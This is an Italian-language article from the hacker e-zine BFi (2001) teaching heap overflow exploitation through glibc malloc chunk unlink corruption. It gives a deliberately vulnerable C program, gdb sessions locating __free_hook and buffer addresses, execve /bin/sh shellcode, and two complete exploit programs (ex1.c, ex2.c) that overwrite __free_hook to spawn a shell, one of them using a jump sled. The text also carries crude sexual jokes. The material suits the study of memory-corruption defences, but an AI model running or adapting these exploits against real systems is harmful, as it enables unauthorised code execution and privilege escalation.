==============================================================================
-----------[ BFi numero 10, anno 4 - 30/09/2001 - file 10 di 18 ]-------------
==============================================================================

-[ HACKING ]------------------------------------------------------------------
---[ SPL0iTTARE GLi 0VERFL0W NELL'HEAP S0VRASCRiVEND0 LE STRUCT
-----[ |CyRaX|  - http://www.pkcrew.org


Greets: tutti i pkc, nobody88, b_berry, bikappa, smav, vecna, fusys, marra
        e tutti gli altri

KOTD (kazzata of the day): minkiaaa !!!! domani e' san valentino. Uhmmm mi
                           regalero' un paio di guanti

PREMESSA: questa tecnica non e' stata scoperta da me. da quel ke no so e'
          stata usata per la prima volta nell'exploit per il traceroute.. e
          poi in seguito nell'exploit dello slocate. (in quei casi non si
          trattava propriamente di un overflow.. ma comunque si potevano
          sovrascrivere le struct). In ogni caso in giro non si trovano ankora
	  dei tutorial completi sull'argomento. Personalmente ho imparato
	  leggendo le advisory di MasterSecurity (ke cmq davano una
	  spiegazione un po' troppo relativa al programma in particolare.. ke
	  in generale) e bestemmiandoci sopra. In questo articolo troverete 
	  anke delle mie aggiunte (come ad esempio l'uso dei jump al posto dei 
	  nop). 

Allora. In questo articolo cerchero' di spiegarvi come exploittare gli overflow
di buffer ke non si trovano nello stack, bensi' nell'heap.
L'heap e' quella zona di memoria di un processo dove si trovano i buffer
allocati dinamicamente con la malloc().
Beh, qual e' la differenza con i normali overflow nello stack ? semplice..
nell'heap non ci sono indirizzi di ritorno ke potete cerkare di sovrascrivere.
Nella maggior parte delle implementazioni della malloc() si trovano pero' tra 
un buffer e l'altro delle strutture ke servono alle funzioncine ke agiscono 
sull'heap a sapere le dimensioni dei vari buffer.
Vediamo intanto un esempio di programma vulnerabile :

<-| heap-bof/vuln1.c |->
#include 
#include 

int main(int argc,char **argv){
   char *buf1,*buf2;
   buf1=malloc(1000);
   buf2=malloc(100);
   strcpy(buf1,argv[1]);
   free(buf1);
   free(buf2);
}
<-X->

Come vedete allochiamo due buffer.. e possiamo overfloware il primo passando 
+ di 1000 byte all'argomento del programma. Proviamo :

c500:~/bfi$ gdb vuln1
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) run `perl -e "print 'A' x 1020"`
Starting program: /home/cyrax/bfi/vuln1 `perl -e "print 'A' x 1020"`
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.

Program received signal SIGSEGV, Segmentation fault.
0x40071361 in free () from /lib/libc.so.6
(gdb)

Tadaa.. segfault della free(). Questo xke' abbiamo sovrascritto la struttura
ke si trova prima di buf2.. riempiendo di A il suo campo size.
Guardiamo ora come e' fatta questa struttura:

   struct malloc_chunk{
      unsigned int ps; /* Previous size */
      unsigned int sz;  /* size */
      struct malloc_chunk *fd; /* puntatore alla prossima struttura */
      struct malloc_chunk *bk; /* puntatore alla struttura precedente */
   };

Questa struttura puo' essere usata per identificare due tipi di chunk.
Quelli usati e quelli liberi. 
Nel caso la struttura rappresenti un chunk usato contiene solo il campo size.
Ke e' posizionato esattamente 4 byte prima del buffer restituitoci dalla
malloc. Per farvi capire meglio ekkovi due righe di codice ke allocano un
buffer e ci mostrano il suo campo size.

<-| heap-bof/sz.c |->
#include 
#include 
int main(int argc,char **argv){
   char *buf;
   unsigned int sz;
   buf=(char *)malloc(100);
   sz=*(buf-4);
   printf("il mio campo size e' settato a %i\n",sz);
}
<-X->

eseguiamolo :

c500:~/bfi$ ./sz
il mio campo size e' settato a 105
c500:~/bfi$

Come vedete solitamente viene settato nel campo size la quantita' di memoria
ke rikiediamo + 5. (questo xke' una parte della size e' tenuta per la struttura)

La struttura malloc_chunk puo' essere utilizzata anke per indicare un chunk
libero. In tal caso :
a) il campo size e' settato a 0 (o un equivalente 0xffffffff)
b) il campo prev_size e' uguale alla dimensione del chunk precedente (non ci
   importa molto.. ci basta sapere ke questo non dobbiamo settarlo a 0)
c) il campo bk contiene l'indirizzo della struttura malloc_chunk ke indica
   un chunk libero precedente
d) il campo fd contiene l'indirizzo della struttura malloc_chunk ke indica
   un chunk libero successivo.
   
Bene.. quando prima abbiamo overflowato buf1 abbiamo colpito la struttura
malloc_chunk di buf2 (ke si trova subito prima). Quella struttura indica
un chunk utilizzato.. e quindi contiene il solo campo size, ma grazie
all'overflow possiamo trasformarla in una struttura per un chunk libero. 
A cosa puo' servirci tutto cio' ?
Dando un'okkiata al codice della free() nelle glibc.. notiamo ke
su un chunk libero viene usata la macro unlink() :

#define unlink(P, BK, FD)                                              \
{                                                                      \
        BK = P->bk;                                                    \
        FD = P->fd;                                                    \
        FD->bk = BK;                                                   \
        BK->fd = FD;                                                   \
}

Allora.. ragioniamoci. Alla unlink vengono passati
P: la struttura ke deve essere slinkata
BK e FD: questi vengono usati dalla unlink per segnarsi alkuni indirizzi..
         non dobbiamo passargli nulla.
	 
Cosa fa questa unlink ?
- allora.. si segna in BK l'indirizzo puntato dal campo bk della struttura da
  slinkare.
- si segna in FD l'indirizzo puntato dal campo fd della struttura da slinkare
- scrive nel campo bk della struttura puntata da FD l'indirizzo puntato dal
  campo bk della struttura da slinkare
- scrive nel campo fd della struttura puntata da BK l'indirizzo puntato dal
  campo fd della struttura da slinkare..
  
Non ci avete capito una pippa ? Provo a spiegarmi n'attimo meglio..
Come spero avrete capito le strutture ke indicano chunk liberi sono linkate
tra di loro in una lista circolare. Questo significa ke ogni struttura contiene
un puntatore alla struttura ke si trova prima e dopo di essa.
La unlink non fa ke eliminare una struttura da questo cerchio. Prima di poter
rimuovere di brutto una struttura da un lista circolare.. dobbiamo fare in
modo ke l'elemento ke si trova dopo la struttura da eliminare riconosca come
elemento precedente quello ke si trova prima della struttura da eliminare...
e fare in modo ke quello ke si trovi prima riconosca come struttura successiva
quella ke si trova dopo. (scusate il casino... ho perso il vocabolario dei 
sinonimi e dei contrari)

Non avete capito ankora cosa fa l'unlink() ?!?!?!
Alloraaa...
ci sono recidjvo, cyrax e asynchro ke fanno il trenino...
a cyrax duole il culetto e vuole unlinkarsi!
Ke fa allora ? 
- Dice a recidivo "Ue'.. mi sono rotto.. ora ti inkuli asynchro".
- Dice ad asynchro "Ora ti fai inkulare da recidjvo"
Fatto questo puo' andarsene.. e il trenino e' ankora funzionante :)

Bene bene.. se siete arrivati qui dovreste riuscire ad arrivare anke in
fondo :)
Come vi ho detto prima.. possiamo creare una struttura indicante un chunk
libero al posto di un altra struttura ke andiamo a sovrascrivere.. e fare in
modo ke la successiva free() ci esegua una unlink.

Bene.. potendo controllare i puntatori fd e bk della struttura.. possiamo
far scrivere alla unlink() cio' ke vogliamo in memoria.

Prima di procedere.. dobbiamo trovare un bersaglio.
Nei format bug o negli overflow di stack si usano solitamente gli indirizzi
di ritorno di qualke funzione.
In questo caso ci conviene usare invece un puntatore a funzione chiamato
__free_hook. All'avvio del programma contiene NULL. Ogni volta ke la funzione
free() viene eseguita controlla se il __free_hook e' diverso da NULL e in
tal caso esegue la funzione da lui puntata al posto di proseguire. Lo scopo
di questo puntatore e' dare la possibilita' agli utenti di usare una proprio
implementazione di free(). (c'e' un hook per ogni funzione ke gestisce l'heap
quindi anke __malloc_hook e __realloc_hook)
Ecco come prendere il suo indirizzo:

c500:~/bfi$ gdb vuln1
[..]
(gdb) break main
Breakpoint 1 at 0x8048422
(gdb) run
Breakpoint 1, 0x8048422 in main ()
(gdb) x &__free_hook
0x400fc994 <__free_hook>:       0x00000000

Bene.. la free_hook sta a 0x400fc994

Dobbiamo procurarci poi l'indirizzo del buffer con cui andiamo a fare 
l'overflow. Il nostro scopo finale sara' scrivere nel __free_hook il suo
indirizzo. Ovviamente in quel buffer piazzeremo un bello shellcode pronto a
darci accesso :)

Allora.. ekko come deve diventare la struttura di buf2:

previous_size : 0xfffffffe
size : 0xffffffff
forward : 
back :  -8

allora.. prev_size lo mettiamo a qualsiasi cosa diversa da 0

size lo mettiamo a 0xffffffff.. questo per fare in modo ke la struttura
rappresenti un chunk libero.

in back mettiamo l'indirizzo del free_hook -8. Xke' proprio -8 ?
La unlink trattera' l'indirizzo ke mettiamo in back come una struttura e
mettera' nel campo fd quello ke noi mettiamo nel campo forward della nostra.
(l'indirizzo dello shellcode). Beh.. noi vogliamo ke l'indirizzo dello
shellcode capiti giusto all'indirizzo del free_hook. Prima del campo fd in
una struttura ci sono 8 byte (4 di prev_size e 4 di size). Quindi sottraendo 8
__free_hook e fd combacieranno perfettamente...

in forward mettiamo ovviamente l'indirizzo dello shellcode....

Bene.. ci siamo quasi (tutti in coro: era oraaa)
Manca un ultima considerazione sullo shellcode. La unlink trattera' lo
shellcode come una struttura... e modifikera' il suo campo back mettendoci
l'indirizzo della __free_hook. Ovviamente noi non vogliamo ke questo
indirizzo sovrascriva alkune istruzioni importanti dello shellcode con qualke
istruzione illegale.
Per ovviare al problema bastera' fare una piccola modifica agli shellcode
tradizionali.. aggiungendo un semplice :
"\xeb\x0f\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
all'inizio..
questa riga fa in modo ke il programma salti la parte ke viene sovrascritta
dalla unlink();

E oraaaa... si comincia a sploitttare vuln1.c :))

abbiamo gia' stabilito ke l'indirizzo della free_hook e' 0x400fc994
ora troviamo l'indirizzo del buffer:
come fare ? beh.. disassembliamo la main e brekkiamo subito dopo la malloc()
poi guardiamo i registri e in %eax troveremo cio' ke la malloc ha restituito 
(il nostro bufferone :)

(gdb) disassemble main
Dump of assembler code for function main:
0x804841c 
: push %ebp 0x804841d : mov %esp,%ebp 0x804841f : sub $0x8,%esp 0x8048422 : push $0x3e8 0x8048427 : call 0x8048330 0x804842c : add $0x4,%esp 0x804842f : mov %eax,%eax [...] (gdb) break *0x804842c Breakpoint 1 at 0x804842c (gdb) run Breakpoint 1, 0x804842c in main () (gdb) info registers eax 0x8049760 134518624 ecx 0x400fc520 1074775328 edx 0x4b9 1209 [...] Bene bene.. 0x8049760 e' l'indirizzo di buf1. perfetto.. ora calcoliamo un po' dove dovremo cominciare a scrivere il chunk... allora.. vengono allocati 1000 byte dopo i quali cominciera' la struct riempiremo il nostro buffer di 1000 byte di roba (tra cui lo shellcode) dopodike' copieremo la struttura ke avremo costruito.. la prima free() kiamata andra' quindi a scrivere cio' ke vogliamo nel free_hook.. e la free() successiva eseguira' lo shellcode.. lo shellcode non lo posizioniamo all'inizio del buffer.. xke' la free() potrebbe sovrascrivere altri pezzi importanti.. ci basta spostarlo 20 byte piu' in la xke' funzioni ed ekkovelo qui.. l'ho provato sulla mia slakka 7.0.. al 99% sulla vostra box non funzionera' :P (ma bastera' cambiargli l'indirizzo del freehook e del buffer) <-| heap-bof/ex1.c |-> #include #include #define FREE_HOOK 0x400fc994 #define BUFF 0x8049760 char shellcode[] = "\xeb\x0f\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc,char **argv){ char buff[1100]; char *ex[5]; struct malloc_chunk{ unsigned int ps; unsigned int sz; struct malloc_chunk *fd; struct malloc_chunk *bk; } mc; mc.ps=0xfffffffe; mc.sz=0xffffffff; mc.bk=FREE_HOOK-8; mc.fd=BUFF+20; memset(buff,'A',1000); memcpy(buff+20,shellcode,sizeof(shellcode)-1); memcpy(buff+1000,&mc,sizeof(mc)); buff[1000+sizeof(mc)]=0; ex[0]="./vuln1"; ex[1]=buff; ex[2]=NULL; execv(ex[0],ex); } <-X-> Ma non e' finita qua ! :) Come avrete notato.. per esploittare tutto cio' dobbiamo indovinare come minimo due variabili. Il free_hook e l'indirizzo dello shellcode. Perke' non possiamo usare i nop come tutti i normali stack overflow ?! Beh... la unlink() "sporca" qualke byte dopo quelli ke gli passiamo.. quindi anke se centrassimo un nop il programma scorrerebbe fino a bekkare un illegal instruction. Possiamo comunque ovviare al problema usando dei "\eb\x0f" al posto dei nop. Questa istruzione (ke abbiamo anke aggiunto prima allo shellcode) non fa ke saltare 0xf byte piu' avanti. Riempiendolo di questi jump.. nel caso ke il programma salti su uno di essi andrebbe avanti fino ad atterrare sui nop prima dello shellcode. Ed ekkovi ex2.c ke utilizza questa tecnica :) <-| heap-bof/ex2.c |-> #include #include #define FREE_HOOK 0x400fc994 #define BUFF 0x8049760 char shellcode[] = "\xeb\x0f\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc,char **argv){ char buff[1100]; char *ex[5]; struct malloc_chunk{ unsigned int ps; unsigned int sz; struct malloc_chunk *fd; struct malloc_chunk *bk; } mc; int i; mc.ps=0xfffffffe; mc.sz=0xffffffff; mc.bk=FREE_HOOK-8; mc.fd=BUFF+400; memset(buff,'A',1100); for(i=0;i<900;i+=2) memcpy(buff+i,"\xeb\x0f",2); memcpy(buff+i,shellcode,sizeof(shellcode)-1); memcpy(buff+1000,&mc,sizeof(mc)); buff[1000+sizeof(mc)]=0; ex[0]="./vuln1"; ex[1]=buff; ex[2]=NULL; execv(ex[0],ex); } <-X-> Oky.. direi ke e' tutto :) Mandate pure commenti,domane, insulti.. foto di vostra sorella a cyrax@pkcrew.org (E ricordatevi di checkare www.pkcrew.org di tanto in tanto :PP) ============================================================================== --------------------------------[ EOF 10/18 ]--------------------------------- ==============================================================================